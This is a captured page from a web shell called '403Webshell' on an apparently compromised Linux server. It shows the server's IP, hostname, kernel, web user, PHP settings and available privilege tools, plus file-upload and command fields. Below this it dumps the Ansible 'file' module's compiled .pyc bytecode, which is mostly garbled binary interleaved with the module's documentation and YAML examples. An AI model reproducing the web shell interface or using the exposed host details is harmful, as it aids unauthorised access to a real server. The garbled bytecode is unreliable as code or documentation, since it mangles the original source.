403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/modules/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/modules/__pycache__/file.cpython-311.opt-1.pyc
�

���c����x�ddlmZmZmZeZdZdZdZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlmZmZddlmZmZddlmZdd	lmZmZdaGd
�de��ZGd�d
e��ZGd�de��Zd�Zd�Z d�Z!d�Z"d�Z#d�Z$d#d�Z%d�Z&d�Z'd�Z(d�Z)d�Z*d�Z+d�Z,d�Z-d�Z.d �Z/d!�Z0e1d"kre0��dSdS)$�)�absolute_import�division�print_functionaZ
---
module: file
version_added: historical
short_description: Manage files and file properties
extends_documentation_fragment: [files, action_common_attributes]
description:
- Set attributes of files, directories, or symlinks and their targets.
- Alternatively, remove files, symlinks or directories.
- Many other modules support the same options as the C(file) module - including M(ansible.builtin.copy),
  M(ansible.builtin.template), and M(ansible.builtin.assemble).
- For Windows targets, use the M(ansible.windows.win_file) module instead.
options:
  path:
    description:
    - Path to the file being managed.
    type: path
    required: yes
    aliases: [ dest, name ]
  state:
    description:
    - If C(absent), directories will be recursively deleted, and files or symlinks will
      be unlinked. In the case of a directory, if C(diff) is declared, you will see the files and folders deleted listed
      under C(path_contents). Note that C(absent) will not cause C(file) to fail if the C(path) does
      not exist as the state did not change.
    - If C(directory), all intermediate subdirectories will be created if they
      do not exist. Since Ansible 1.7 they will be created with the supplied permissions.
    - If C(file), with no other options, returns the current state of C(path).
    - If C(file), even with other options (such as C(mode)), the file will be modified if it exists but will NOT be created if it does not exist.
      Set to C(touch) or use the M(ansible.builtin.copy) or M(ansible.builtin.template) module if you want to create the file if it does not exist.
    - If C(hard), the hard link will be created or changed.
    - If C(link), the symbolic link will be created or changed.
    - If C(touch) (new in 1.4), an empty file will be created if the file does not
      exist, while an existing file or directory will receive updated file access and
      modification times (similar to the way C(touch) works from the command line).
    - Default is the current state of the file if it exists, C(directory) if C(recurse=yes), or C(file) otherwise.
    type: str
    choices: [ absent, directory, file, hard, link, touch ]
  src:
    description:
    - Path of the file to link to.
    - This applies only to C(state=link) and C(state=hard).
    - For C(state=link), this will also accept a non-existing path.
    - Relative paths are relative to the file being created (C(path)) which is how
      the Unix command C(ln -s SRC DEST) treats relative paths.
    type: path
  recurse:
    description:
    - Recursively set the specified file attributes on directory contents.
    - This applies only when C(state) is set to C(directory).
    type: bool
    default: no
    version_added: '1.1'
  force:
    description:
    - >
      Force the creation of the symlinks in two cases: the source file does
      not exist (but will appear later); the destination exists and is a file (so, we need to unlink the
      C(path) file and create symlink to the C(src) file in place of it).
    type: bool
    default: no
  follow:
    description:
    - This flag indicates that filesystem links, if they exist, should be followed.
    - I(follow=yes) and I(state=link) can modify I(src) when combined with parameters such as I(mode).
    - Previous to Ansible 2.5, this was C(false) by default.
    type: bool
    default: yes
    version_added: '1.8'
  modification_time:
    description:
    - This parameter indicates the time the file's modification time should be set to.
    - Should be C(preserve) when no modification is required, C(YYYYMMDDHHMM.SS) when using default time format, or C(now).
    - Default is None meaning that C(preserve) is the default for C(state=[file,directory,link,hard]) and C(now) is default for C(state=touch).
    type: str
    version_added: "2.7"
  modification_time_format:
    description:
    - When used with C(modification_time), indicates the time format that must be used.
    - Based on default Python format (see time.strftime doc).
    type: str
    default: "%Y%m%d%H%M.%S"
    version_added: '2.7'
  access_time:
    description:
    - This parameter indicates the time the file's access time should be set to.
    - Should be C(preserve) when no modification is required, C(YYYYMMDDHHMM.SS) when using default time format, or C(now).
    - Default is C(None) meaning that C(preserve) is the default for C(state=[file,directory,link,hard]) and C(now) is default for C(state=touch).
    type: str
    version_added: '2.7'
  access_time_format:
    description:
    - When used with C(access_time), indicates the time format that must be used.
    - Based on default Python format (see time.strftime doc).
    type: str
    default: "%Y%m%d%H%M.%S"
    version_added: '2.7'
seealso:
- module: ansible.builtin.assemble
- module: ansible.builtin.copy
- module: ansible.builtin.stat
- module: ansible.builtin.template
- module: ansible.windows.win_file
attributes:
    check_mode:
        support: full
    diff_mode:
        details: permissions and ownership will be shown but file contents on absent/touch will not.
        support: partial
    platform:
        platforms: posix
author:
- Ansible Core Team
- Michael DeHaan
a$
- name: Change file ownership, group and permissions
  ansible.builtin.file:
    path: /etc/foo.conf
    owner: foo
    group: foo
    mode: '0644'

- name: Give insecure permissions to an existing file
  ansible.builtin.file:
    path: /work
    owner: root
    group: root
    mode: '1777'

- name: Create a symbolic link
  ansible.builtin.file:
    src: /file/to/link/to
    dest: /path/to/symlink
    owner: foo
    group: foo
    state: link

- name: Create two hard links
  ansible.builtin.file:
    src: '/tmp/{{ item.src }}'
    dest: '{{ item.dest }}'
    state: hard
  loop:
    - { src: x, dest: y }
    - { src: z, dest: k }

- name: Touch a file, using symbolic modes to set the permissions (equivalent to 0644)
  ansible.builtin.file:
    path: /etc/foo.conf
    state: touch
    mode: u=rw,g=r,o=r

- name: Touch the same file, but add/remove some permissions
  ansible.builtin.file:
    path: /etc/foo.conf
    state: touch
    mode: u+rw,g-wx,o-rwx

- name: Touch again the same file, but do not change times this makes the task idempotent
  ansible.builtin.file:
    path: /etc/foo.conf
    state: touch
    mode: u+rw,g-wx,o-rwx
    modification_time: preserve
    access_time: preserve

- name: Create a directory if it does not exist
  ansible.builtin.file:
    path: /etc/some_directory
    state: directory
    mode: '0755'

- name: Update modification and access time of given file
  ansible.builtin.file:
    path: /etc/some_file
    state: file
    modification_time: now
    access_time: now

- name: Set access time based on seconds from epoch value
  ansible.builtin.file:
    path: /etc/another_file
    state: file
    access_time: '{{ "%Y%m%d%H%M.%S" | strftime(stat_var.stat.atime) }}'

- name: Recursively change ownership of a directory
  ansible.builtin.file:
    path: /etc/foo
    state: directory
    recurse: yes
    owner: foo
    group: foo

- name: Remove file (delete file)
  ansible.builtin.file:
    path: /etc/foo.txt
    state: absent

- name: Recursively remove directory
  ansible.builtin.file:
    path: /etc/foo
    state: absent

ak
dest:
    description: Destination file/path, equal to the value passed to I(path).
    returned: state=touch, state=hard, state=link
    type: str
    sample: /path/to/file.txt
path:
    description: Destination file/path, equal to the value passed to I(path).
    returned: state=absent, state=directory, state=file
    type: str
    sample: /path/to/file.txt
N)�getpwnam�getpwuid)�getgrnam�getgrgid)�
AnsibleModule)�to_bytes�	to_nativec��eZdZd�Zd�ZdS)�AnsibleModuleErrorc��||_dS�N��results)�selfrs  �9/usr/lib/python3.11/site-packages/ansible/modules/file.py�__init__zAnsibleModuleError.__init__�s
�������c�6�d�|j��S)NzAnsibleModuleError(results={0}))�formatr)rs r�__repr__zAnsibleModuleError.__repr__�s��0�7�7���E�E�ErN)�__name__�
__module__�__qualname__rr�rrrr�s7���������F�F�F�F�Frrc��eZdZdS)�ParameterErrorN)rrrrrrrr�s�������Drrc��eZdZd�ZdS)�Sentinelc��|Srr)�cls�args�kwargss   r�__new__zSentinel.__new__s���
rN)rrrr&rrrr!r!s#����������rr!c��t|t��rtjdi|j��dStj|||��dS)Nr)�
issubclassr�module�	fail_jsonr�sys�__excepthook__)�exc_type�	exc_value�tbs   r�_ansible_excepthookr0sP���(�.�/�/�4���-�-�9�,�-�-�-�-�-���8�Y��3�3�3�3�3rc��|ddvr�tj�t|dd�����rkd}|dr	|d}n-|dr%tj�|d��}|r)tj�|d|��|d<t
t|dd�����}|d�|d	kr||d<n|d
rd|d<nd|d<|d
r%|ddkrtd
|dd�����|dr#|ddvrtd|dd�����dSdS)z0Additional parameter validation and reformatting�state)�link�absent�path�surrogate_or_strict��errorsN�_original_basename�srcr4�recurse�	directory�filez/recurse option requires state to be 'directory'��msgr5r)r3�hardz0src option requires state to be 'link' or 'hard')�osr5�isdirr�basename�join�	get_stater)�paramsrC�
prev_states   r�additional_parameter_handlingrHs���	�w��1�1�1�b�g�m�m�H�V�TZ�^�dy�Dz�Dz�Dz�6{�6{�1����&�'�	7��2�3�H�H�
�E�]�	7��w�'�'��u�
�6�6�H��	D��W�\�\�&��.�(�C�C�F�6�N��8�F�6�N�;P�Q�Q�Q�R�R�J�
�g�����!�!�(�F�7�O�O�
�I�
�	%�)�F�7�O�O�$�F�7�O��i��?�V�G�_��;�;��-^�.4�V�n�&>�&>�?�?�?�	?��e�}�?����0@�@�@��-_�.4�V�n�&>�&>�?�?�?�	?�?�?�@�@rc��t|d���}	tj�|��rctj�|��rdStj�|��rdStj|��jdkrdSdSdS#t$r!}|j	tj
krYd	}~dS�d	}~wwxYw)
z Find out current state r6r7r3r<�r@r=r4N)rrAr5�lexists�islinkrB�stat�st_nlink�OSError�errno�ENOENT)r5�b_path�es   rrErE>s����d�#8�
9�
9�
9�F��
�7�?�?�6�"�"�		��w�~�~�f�%�%�
��v�����v�&�&�
�"�{������)�A�-�-��v��6��x�������7�e�l�"�"��8�8�8�8�8������	���s)�>B�B�4B�
C�!B=�<B=�=Cc
���d}	tj|��D�]�\}}}||zD�]�}	tj�||	��}
tj�|
��sc|���}t
|
d���|d<|t�||d���z}|t|d||��z}��|���}t
|
d���|d<|t�||d���z}|t|d||��z}|r�tj�|tj
|
����}
tj�|
��r�tj�|
��r|t|
||||��z}|���}t
|
d���|d<|t�||d���z}|t|d||��z}����nE#t$r8}tddt
|���dt
|���d	�i�
���d}~wwxYw|S)NFr6r7r5��expandr?z(Could not recursively set attributes on z. Original error was: '�'r)rA�walkr5rDrL�copyrr)�set_fs_attributes_if_different�update_timestamp_for_file�readlink�existsrB�recursive_set_attributes�RuntimeErrorr)
rR�follow�	file_args�mtime�atime�changed�b_root�b_dirs�b_files�b_fsobj�b_fsname�
tmp_file_argsrSs
             rr^r^Ws����G�#
�')�w�v���	f�	f�#�F�F�G�!�G�+�
f�
f���7�<�<���8�8���w�~�~�h�/�/�f�$-�N�N�$4�$4�M�,5�h�G\�,]�,]�,]�M�&�)��v�D�D�]�T[�di�D�j�j�j�G��8��v�9N�PU�W\�]�]�]�G�G�%.�N�N�$4�$4�M�,5�h�G\�,]�,]�,]�M�&�)��v�D�D�]�T[�di�D�j�j�j�G��8��v�9N�PU�W\�]�]�]�G��f�#%�7�<�<����H�8M�8M�#N�#N���7�>�>�(�3�3�	f�!�w�}�}�X�6�6�o� '�+C�H�f�V_�af�hm�+n�+n� n��-6�N�N�,<�,<�M�4=�h�Od�4e�4e�4e�M�&�1�#�v�'L�'L�]�\c�lq�'L�'r�'r�r�G�#�'@��v�AV�X]�_d�'e�'e�e�G��7
f�	f��:�
�
�
�!��U�fo�pv�fw�fw�fw�fw�zC�DE�zF�zF�zF�zF�G�H�
�
�
�	
�����
�����Ns�HH�
I�$3I�Ic���d|id|id�}||kr�||dd<||dd<|dkr�|dkr�ggd�}t|d	�
��}tj|��D]�\}}}|D]=}	tj�||	��}
|d�|
���>|D]=}tj�||��}|d�|���>��||dd
<|S)Nr5)�before�afterrlr2rmr4r<)�directories�filesr6r7rnro�path_content)rrArXr5rD�append)
r5r2rG�diff�walklistrR�	base_path�sub_foldersro�folder�
folderpath�filename�filepaths
             r�initial_diffrz�s9���t�n��d�^���D��U���",��X��w��!&��W�
�g���H����{�!:�!:�!����H��d�+@�A�A�A�F�13�����
7�
7�-�	�;��)�?�?�F�!#����i��!@�!@�J��]�+�2�2�:�>�>�>�>� %�7�7�H�!�w�|�|�I�x�@�@�H��W�%�,�,�X�6�6�6�6�7�.6�D��N�>�*��Krc
��|dkrdS|dkrtS	tj||��}tj|��}nC#tt
f$r/}t
dd|�d|�dt|d�����i�	���d}~wwxYw|S)
N�preserve�nowr?z)Error while obtaining timestamp for time z using format z: �
simplerepr��	nonstringr)r!�time�strptime�mktime�
ValueError�
OverflowErrorrr)�formatted_time�time_format�struct�struct_timerSs     r�get_timestamp_for_timer��s�����#�#��t�	�5�	 �	 ���	v��]�>�;�?�?�F��+�f�-�-�K�K���M�*�	v�	v�	v�$�e�e�1?������i�XY�eq�Nr�Nr�Nr�Nr�6t�.u�v�v�v�
v�����	v�����s�)A�B�*A<�<Bc�D�t|d���}	|turS|turJtj��x}}tj|��j}tj|��j}d}n�|�|�dStj|��j}tj|��j}|�|}n|turtj��}|�|}n|turtj��}||kr||krdS||f}tjstj	||��|�Jd|vri|d<d|vri|d<||kr||dd<||dd<||kr||dd<||dd<n7#t$r*}tdt|d	�
��z|d�����d}~wwxYwd
S)Nr6r7Frlrmrbrcz4Error while updating modification or access time: %sr~rr>rT)
rr!r�rArM�st_mtime�st_atimer)�
check_mode�utimerOrr)	r5rbrcrrrR�previous_mtime�previous_atime�set_timerSs	         rr[r[�s��
�d�#8�
9�
9�
9�F�4a��H����(�!2�!2�!�I�K�K�'�E�E��W�V�_�_�5�N��W�V�_�_�5�N��H�H��}����u��W�V�_�_�5�N��W�V�_�_�5�N��}�&����(�"�"��	�����}�&����(�"�"��	������&�&�5�N�+B�+B��u��u�~�H�� �	'��H�V�X�&�&�&����t�#�#�!#��X���d�"�"� "��W�
���&�&�*8��X��w�'�).��W�
�g�&���&�&�*8��X��w�'�).��W�
�g�&����a�a�a� �1g�,5�a�<�,P�,P�,P�2Q�Z^�*`�*`�a�a�a�	a�����a�����4s&�A E)�5BE)�7A1E)�)
F�3%F�Fc�*�|dvr|�dS|dkr|�dS|S)N)r=r@r<r3r|�touchr}r)�	parameterr2s  r�)keep_backward_compatibility_on_timestampsr��s3���5�5�5�)�:K��z�	�'�	�	�i�/��u��rc���t|d���}d}	t|d��5}|�d��}ddd��n#1swxYwYd|vrd}n#t$rYnwxYw|S)	z2Take a guess as to whether a file is a binary filer6r7F�rbi N�T)r�open�read�	Exception)r5rR�appears_binary�f�heads     r�execute_diff_peekr��s���
�d�#8�
9�
9�
9�F��N�"�
�&�$�
�
�	 �1��6�6�$�<�<�D�	 �	 �	 �	 �	 �	 �	 �	 �	 �	 �	 ����	 �	 �	 �	 ��d�?�?�!�N����
�
�
���
�����s3�A�A�A�A�A�A�A�
A&�%A&c�f�t|d���}t|��}i}|dkr�t|d|��}tjs�|dkrL	tj|d���n�#t$r'}tddt|��zi�	���d}~wwxYw	tj|��nO#t$rB}|j
tjkr#td
t|��z|d��	���Yd}~nd}~wwxYw|�|d|dd
���n|�|ddd���|S)Nr6r7r4r<F)�
ignore_errorsr?zrmtree failed: %srzunlinking failed: %s r>T)r5rdrrr2)r5rdr2)rrErzr)r��shutil�rmtreer�rrrA�unlinkrOrPrQ�update)r5rRrG�resultrrrSs      r�
ensure_absentr�s���
�d�#8�
9�
9�
9�F��6�"�"�J�
�F��X����D�(�J�7�7��� �	I��[�(�(�b��M�&��>�>�>�>�>�� �b�b�b�,�e�=P�S\�]^�S_�S_�=_�5`�a�a�a�a�����b����I��I�f�%�%�%�%���I�I�I��w�%�,�.�.�0�AX�[d�ef�[g�[g�Ag�BF�:H�:H�I�I�I�I�/�.�.�.�.�����I����
	�
�
�t��d�X�V�V�W�W�W�W��
�
�t���I�I�J�J�J��Ms0�
A$�$
B�."B�B�B.�.
C:�88C5�5C:c��t|d���}t|��}d}d|i}t|d|d��}t|d|d��}|d	krwtjrd
|d<|S	t|d�����d
}n>#ttf$r*}	td
t|	d���z|d�����d}	~	wwxYwt|d|��}
t�tj
��}	t�|||
d���}|t|d|||
��z}n4#t $r'}	|	jr|d	krt%j|���d}	~	wwxYw||d<|
|d<|S)Nr6r7F�dest�modification_time�modification_time_format�access_time�access_time_formatr4Trd�wbz!Error, could not touch target: %sr~rr>rr�rUr5rr)rrEr�r)r�r��closerO�IOErrorrrrz�load_file_common_argumentsrFrZr[�
SystemExit�coderA�remove)r5r`�
timestampsrRrGrdr�rbrcrSrrras            r�
execute_touchr�$s���
�d�#8�
9�
9�
9�F��6�"�"�J��G��d�^�F�"�:�.A�#B�J�Oi�Dj�k�k�E�"�:�m�#<�j�I]�>^�_�_�E��X�����	� $�F�9���M�	=������$�$�&�&�&��G�G����!�	=�	=�	=�$�5X�09�!�|�0T�0T�0T�6U�6:�.<�.<�=�=�=�
=�����	=����
��g�z�2�2�D��1�1�&�-�@�@�I�
��7�7�	�7�D�Y^�7�_�_���,�Y�v�->��u�d�S�S�S���������6�	"��X�%�%��	�&�!�!�!�
��������� �F�9���F�6�N��Ms0�9$B�C�/%C�C�9E�
E=�"E8�8E=c�|�t|d���}t|��}t�tj��}t|d|d��}t|d|d��}|dkrL|rJ|dkrDtj�|��}t|d	���}t|��}||d
<|dvrtd|�d
|�d�||d�����t|d|��}t�|d|d���}	|	t|d
|||��z}	||	|d�S)Nr6r7r�r�r�r�r=r3�strictr5�r=r@zfile (z) is z, cannot continue)r?r5r2rFrU�r5rdrr)rrEr)r�rFr�rAr5�realpathrrrzrZr[)
r5r`r�rRrGrarbrcrrrds
          r�ensure_file_attributesr�Osu��
�d�#8�
9�
9�
9�F��6�"�"�J��1�1�&�-�@�@�I�"�:�.A�#B�J�Oi�Dj�k�k�E�"�:�m�#<�j�I]�>^�_�_�E��V����	%�j�F�*�*��W�%�%�f�-�-�F��V�H�5�5�5�D�"�6�*�*�J� $�I�f���)�)�)� � �W[�W[�W[�]g�]g�]g�1h�26��*M�*M�N�N�N�	N���f�j�1�1�D��3�3�I�u�d�SX�3�Y�Y�G��(��6�):�E�5�$�O�O�O�G��W�d�;�;�;rc	��t|d���}t|��}t�tj��}t|d|d��}t|d|d��}|rJ|dkrDtj�|��}t|d���}||d	<t|��}d
}	t|d|��}
|dk�r�tjr|d
|
d�Sd}	|�d���
d��D�]4}d�||g��}tj�|��s|�d��}t|d���}
tj�|
��s�	t
j|
��d
}	nL#t&$r?}|jt(jkrtj�|
��s�Yd}~nd}~wwxYw|���}||d	<t�||	|
d
���}	|	t3|d	|||
��z}	��6n8#t4$r+}t7d|�dt|����|d�����d}~wwxYw||	|
d�S|dkrt7|�d|��|d�����t�||	|
d
���}	|	t3|d	|||
��z}	|r|	t9|||||��z}	||	|
d�S)Nr6r7r�r�r�r�r3r�r5Fr<r4Tr���/rUzThere was an issue creating z as requested: r>rz already exists as a )rrEr)r�rFr�rAr5r�rrzr��strip�splitrD�isabs�lstripr]�mkdirrOrP�EEXISTrBrYrZr[r�rr^)r5r`r;r�rRrGrarbrcrdrr�curpath�dirname�	b_curpath�exrjrSs                 r�ensure_directoryr�is���
�d�#8�
9�
9�
9�F��6�"�"�J��1�1�&�-�@�@�I�"�:�.A�#B�J�Oi�Dj�k�k�E�"�:�m�#<�j�I]�>^�_�_�E��'�*��&�&���!�!�&�)�)�����1�1�1�� �	�&���v�&�&�
��G���k�:�6�6�D��X�����	A� �T�4�@�@�@���	=� �:�:�c�?�?�0�0��5�5�
`�
`���(�(�G�W�#5�6�6���w�}�}�T�*�*�2�%�n�n�S�1�1�G�$�W�5J�K�K�K�	��w�~�~�i�0�0�`�"����+�+�+�"&����"�"�"�"�!#��E�L� 8� 8�R�W�]�]�9�=U�=U� 8�!�!9� 8� 8� 8� 8�����"����
%.�N�N�$4�$4�M�,3�M�&�)�$�C�C�M�SZ�\`�in�C�o�o�G��8��6�9J�E�SX�Z^�_�_�_�G��%
`��&�	=�	=�	=�$�$�>E�g�g�y�QR�|�|�|�6U�6:�.<�.<�=�=�=�
=�����	=������$�?�?�?�	�{�	"�	"� �PT�PT�PT�V`�V`�1a�26�*8�*8�9�9�9�	9��3�3�I�w��UZ�3�[�[�G��(��6�):�E�5�$�O�O�O�G��U��+�F�F�I�u�e�T�T�T���W�d�;�;�;sD�8B&I�F6�5I�6
G?�5G:�5I�:G?�?AI�
J�!&J�Jc
�V
�t|d���}t|d���}t|��}t|d|d��}t|d|d��}	|�U|rStj�|��r4t
tj|��d���}t|d���}tj�|��s"tj�	|��r|}
n0tj�
|��}t
|d���}
|�d}n tj�|
|��}t|d���}
|s8|�6tj�|
��std|z||d	��
���|dkrF|std|�d
|��|d��
���tj
|��rtd|z|d��
���n|dvr|std|�d
|��|d��
���t|d|��}d}|dvr|�tddi�
���d}n^|dkrD|�Atj|��}||kr't
|d���|dd<||dd<d}ntd||d��
���|�r�tj�s�|dk�r6ttjj���tj�
|��tdtj���dt'j���d���g��}	|dkrtj|��tj||��tj||��n�#t.$r]}tj�|��rtj|��tdt
|d �!��z|d��
���d}~wwxYw	tj||��n7#t.$r*}td"t
|d �!��z|d��
���d}~wwxYwtjr&tj�|��s||||d#�St�tj��}|r_tj�|��r@tj�|d$��st�d%��n9t�|||d�&��}|t;|d$||	|��z}||||d#�S)'Nr6r7r�r�r�r�r�zRsrc file does not exist, use "force=yes" if you really want to create the link: %s)r?r5r:rr<zrefusing to convert from z to symlink for r>z5the directory %s is not empty, refusing to convert itr�r3F)r@r=r<r4r?z)src is required for creating new symlinksTrlr:rm�unexpected position reached�r?r�r:r4�.�.tmp�Error while replacing: %sr~r�Error while linking: %s�r�r:rdrrr5zgCannot set fs attributes on a non-existent symlink target. follow should be set to False to avoid this.rU)rrEr�rAr5r]rr\rLrBr�rDr�listdirrzr)r��sep�getpidr��rmdir�symlink�renamerOr�r�rF�warnrZr[)r5r:r`�forcer�rR�b_srcrGrbrc�relpath�	b_relpath�absrc�b_absrcrrrd�	b_old_src�	b_tmppathrSras                    r�ensure_symlinkr��s��
�d�#8�
9�
9�
9�F��S�!6�7�7�7�E��6�"�"�J�"�:�.A�#B�J�Oi�Dj�k�k�E�"�:�m�#<�j�I]�>^�_�_�E��{��	@�b�g�n�n�V�,�,�	@��B�K��/�/��A�A�A�C��S�)>�?�?�?�E�
�7�>�>�&�!�!�8�b�g�m�m�F�&;�&;�8�����G�O�O�F�+�+�	��I�h�7�7�7���{��������W�c�*�*���u�%:�;�;�;�G��E�S�_�R�W�^�^�G�-D�-D�_� �2W�Y^�2_�26�s�*D�*D�E�E�E�	E��[� � ��	=�$�$�8B�
�
�D�D�6J�6:�.<�.<�=�=�=�
=��Z��
�
�	=�$�6C�EI�6J�6:�.<�.<�=�=�=�
=�	=�

�'�	'�	'��	'� � �4>�J�J���2F�26�*8�*8�9�9�9�	9���f�j�1�1�D��G��<�<�<��;�$�e�5`�-a�b�b�b�b����	�v�	�	��?���F�+�+�I��E�!�!�(1�)�H�(M�(M�(M��X��u�%�'*��W�
�e�$���� �1N�X\�eh�)i�)i�j�j�j�j��A�v�(�A���!�!� ����-�-�2�2������(�(�(�(�2�9�;�;�;�;�PT�PY�P[�P[�P[�P[�3\�*]�*]�^���I�

A���,�,��H�V�$�$�$��
�5�)�,�,�,��	�)�V�,�,�,�,���
A�
A�
A��7�>�>�)�,�,�)��I�i�(�(�(�(�9T�;D�Q�R^�;_�;_�;_�:`�:>�2@�2@�A�A�A�A�����
A����
A��
�5�&�)�)�)�)���
A�
A�
A�(�9R�;D�Q�R^�;_�;_�;_�:`�:>�2@�2@�A�A�A�A�����
A����
��L������!7�!7�L��S�W�d�K�K�K��1�1�&�-�@�@�I�
�T�"�'�.�.��(�(�T�����	�&�@Q�1R�1R�T����3�	4�	4�	4�	4��7�7�	�7�D�Y^�7�_�_���,�Y�v�->��u�d�S�S�S�����$�G�G�Gs2�7AM<�<
O#�AO�O#�'O=�=
P1�%P,�,P1c
�@	�t|d���}t|d���}t|��}t�tj��}t|d|d��}	t|d|d��}
|dkr|�t
dd	i�
���|�3tj�	|��st
d||d��
���t|d|��}d
}|dkrd}�nK|dkrCtj|��}
|
|kr't|
d���|dd<||dd<d}�n|dkrO|�Ltj
|��jtj
|��jksd}|st
d||d��
���n�|dkrd}|st
d|z||d��
���n�|dkrqd}tj�	|��rOtj
|��jtj
|��jkr|d
d�S|st
d||d��
���nt
d||d��
���|�r�tj�s�|dk�r�ttjj���tj�|��tdtj���dt)j���d���g��}	|dkrbtj�	|��rC	tj|��n-#t,$r }|jt.jkr�Yd}~nd}~wwxYwtj||��tj||��n�#t,$r]}tj�	|��rtj|��t
dt|d� ��z|d!��
���d}~wwxYw	tj||��n7#t,$r*}t
d"t|d� ��z|d!��
���d}~wwxYwtjr&tj�	|��s||||d#�St�|||d
�$��}|t9|d%|	|
|��z}||||d#�S)&Nr6r7r�r�r�r�r@r?z*src is required for creating new hardlinksrzsrc does not existr�Fr4Tr3r�rlr:rmz6Cannot link, different hard link exists at destinationr=z%Cannot link, %s exists at destinationr<)r5rdz6Cannot link: different hard link exists at destinationr�r�r�r�r~rr>r�r�rUr5)rrEr)r�rFr�rrAr5r]rzr\rrM�st_inor�r�rDr�r�r�r�rOrPrQr3r�rZr[)r5r:r`r�r�rRr�rGrarbrcrrrdr�r�rSs                r�ensure_hardlinkr�s���
�d�#8�
9�
9�
9�F��S�!6�7�7�7�E��6�"�"�J��1�1�&�-�@�@�I�"�:�.A�#B�J�Oi�Dj�k�k�E�"�:�m�#<�j�I]�>^�_�_�E��V����� �%�1]�)^�_�_�_�_���r�w�~�~�e�4�4�� �1E�t�\_�)`�)`�a�a�a�a���f�j�1�1�D��G��X������	�v�	�	��K��'�'�	�����$-�i��$I�$I�$I�D��N�5�!�#&�D��M�%� ��G��	�v�	�	��?�2�7�6�?�?�#9�R�W�U�^�^�=R�#R�#R��G��
M�(�9q�:>�s�2L�2L�M�M�M�M��	�v�	�	����	I�$�5\�_i�5i�6:�3�.H�.H�I�I�I�
I�	I�
�{�	"�	"���
�7�>�>�&�!�!�	M��w�v���%������)>�>�>� $��7�7�7��
M�(�9q�:>�s�2L�2L�M�M�M�M��!�1N�X\�eh�)i�)i�j�j�j�j��A�v�(�A���!�!� ����-�-�2�2������(�(�(�(�2�9�;�;�;�;�PT�PY�P[�P[�P[�P[�3\�*]�*]�^���I�
A���,�,��w�~�~�f�-�-�&�&��I�f�-�-�-�-��&�&�&�&� �w�%�,�6�6� %� 7�6�6�6�6�����&�������y�)�)�)��	�)�V�,�,�,�,���
A�
A�
A��7�>�>�)�,�,�)��I�i�(�(�(�(�9T�;D�Q�R^�;_�;_�;_�:`�:>�2@�2@�A�A�A�A�����
A����
A����v�&�&�&�&���
A�
A�
A�(�9R�;D�Q�R^�;_�;_�;_�:`�:>�2@�2@�A�A�A�A�����
A����
��L������!7�!7�L��S�W�d�K�K�K��3�3�I�w��UZ�3�[�[�G��(��6�):�E�5�$�O�O�O�G����$�G�G�Gs[�#%M6�	L�M6�
M�(M�>M6�M�-M6�6
O�AO�O�!O7�7
P+�%P&�&P+c�B�	t|��}	t|��jdS#t$r|�d|z��YdSwxYw#t
$rC	t
|��jYdS#t$r|�d|z��YYdSwxYwwxYw)NzMfailed to look up user with uid %s. Create user up to this point in real playzDfailed to look up user %s. Create user up to this point in real play)�intr�pw_name�KeyErrorr�r�r�pw_uid)r)�owner�uids   r�check_owner_existsr�ys���
h��%�j�j��	o��S�M�M�!�!�!�!���	o�	o�	o��K�K�g�jm�m�n�n�n�n�n�n�	o������h�h�h�	h��U�O�O�"�"�"�"�"���	h�	h�	h��K�K�^�af�f�g�g�g�g�g�g�g�	h����h����D�A�(�"A�
A�
A�A�
B�A3�3"B�B�B�Bc�B�	t|��}	t|��jdS#t$r|�d|z��YdSwxYw#t
$rC	t
|��jYdS#t$r|�d|z��YYdSwxYwwxYw)NzOfailed to look up group with gid %s. Create group up to this point in real playzFfailed to look up group %s. Create group up to this point in real play)r�r	�gr_namer�r�r�r�gr_gid)r)�group�gids   r�check_group_existsr��s���
j��%�j�j��	q��S�M�M�!�!�!�!���	q�	q�	q��K�K�i�lo�o�p�p�p�p�p�p�	q������j�j�j�	j��U�O�O�"�"�"�"�"���	j�	j�	j��K�K�`�ch�h�i�i�i�i�i�i�i�	j����j���r�c���tttdgd����tddddg���td�	��td
d���td
d���td
d���td
�	��td�	��td�	��tdd
���td�	��tdd
������dd���att_t
tj��tj}|d}|d}|d}|d}|d}|d}tjrp|dkrjt�	tj��}|drtt|d��|drtt|d��i}t|d|��|d<|d|d<t|d|��|d<|d|d<|d�;tt|d�����}	t�|d|	���|d krt!|||��}
nz|d!krt#||||��}
na|d"krt%|||||��}
nG|d#krt'|||||��}
n-|d$krt)|||��}
n|dkrt+|��}
tjd%i|
��dS)&N�str)r4r<r=r@r3r�)�type�choicesr5Tr��name)r��required�aliases)r��boolF)r��defaultz
%Y%m%d%H%M.%S)r2r5r9r;r�r`�
_diff_peekr:r�r�r�r�)�
argument_spec�add_file_common_args�supports_check_moder2r;r�r`r:r4r�r�r�r�r�r�r�r6r7)r5rdr�r=r<r3r@r�r)r
�dictr)r0r+�
excepthookrHrFr�r�r�r�r�r�r�	exit_jsonr�r�r�r�r�r�)rFr2r;r�r`r5r:rar�r�r�s           r�mainr�s-�����E�+c�+c�+c�d�d�d��6�D�6�6�:J�K�K�K�#��/�/�/��f�e�4�4�4��F�E�2�2�2��V�T�2�2�2���(�(�(��&�!�!�!�"��.�.�.�%)�u�o�%N�%N�%N��%�(�(�(�#���H�H�H�

�

�

�"� �!���F�()�C�N�!�&�-�0�0�0�
�]�F��7�O�E��Y��G��7�O�E�
�H�
�F��&�>�D�
��-�C�
